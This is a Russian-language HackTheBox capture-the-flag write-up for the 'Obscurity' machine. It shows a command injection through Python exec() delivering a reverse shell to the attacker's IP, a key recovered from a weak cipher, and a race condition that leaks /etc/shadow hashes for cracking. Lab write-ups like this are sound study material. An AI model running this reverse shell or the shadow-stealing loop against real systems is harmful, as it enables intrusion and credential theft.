image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем уязвимость в программном коде python, а также выполняем атаку Race Condition.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.168, который я добавляю в /etc/hosts.

10.10.10.168    obscurity.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A obscurity.htb -p22,8080

image

На хосте работают служба SSH и веб-сервер. Идем на смотреть веб.

image

Таким образом, имеем:

  1. Самописный сервер
  2. Используется шифрование
  3. Код сервера в файле SuperSecureServer.py в каком-то неизвестном каталоге.

Так как мы знаем название файла, давайте переберем каталог. Сделаем это с помощью wfuzz. В качестве параметра передаем словарь, URL и код ответа, который нужно игнорировать.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

image

И мы находим эту директорию. Давайте скачаем код сервера.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

Entry Point


Открываем и анализируем сервер. Находим потенциально опасное использование функции exec().

image

Давайте допишем в код несколько строк.

image

Так мы сможем запустить сервер локально и посмотреть, что попадает в функцию exec(). Запустим сервер, и пошлем запрос.

curl http://127.0.0.1:33333/asd

image

curl "http://127.0.0.1:33333/asd'"

image

curl "http://127.0.0.1:33333/asd''"

image

Таким образом имеем OS Command injection.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

image

Будем использовать следующий реверс шелл python.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Так как в коде сервера уже есть импорт нужных модулей, из шелла их импорт убираем. А также экранируем кавычки и квадратные скобки.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

image

Отлично! Все работает на локальной машине. Давайте выполним этот запрос на сервер.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

image

Имеем точку входа.

USER


Осматриваемся на сервере и находим доступные для чтения файлы в домашней директории пользователя.

image

Читаем файлы.

image

Таким образом, файлы зашифрованы. Скачиваем все, что нам дается, на локальный хост. Как сказано в сообщении зашифрован файл check.txt, а результат в out.txt. Посмотрим алгоритм.

image

Таким образом, при шифровании происходит сложение символа текста и символа ключа по модулю 255. При расшифровывании данные символы вычитаются.

То есть ([check.txt] + [key])% 255 = out.txt и ([out.txt] — [key])%255=check.txt. Тогда ([out.txt] — [check.txt])%255=key.

image

image

И просмотрим ключ.

image

И теперь на этом ключе расшифровываем пароль пользователя.

image

С данным паролем подключаемся по SSH и забираем флаг пользователя.

image

ROOT


Посмотрим настройки sudo, а именно, может ли пользователь robert выполнять какие-либо команды под sudo без пароля.

image

Посмотрим код. Код потребует аутентификационные данные. Потом скопирует содержимое файла /etc/shadow в каталог /tmp/SSH/*. Потом проверит аутентификационные данные и удалит файл.

image

image

Таким образом, мы должны успеть скопировать файл из /etc/SSH/*, пока он не будет удален. Запустим второй терминал и выполним в нем бесконечный цикл чтения.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Теперь запускаем программу, вводим любые данные и видим хеши.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

image

И они легко ломаются.

image

Забираем флаг рута.

image

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.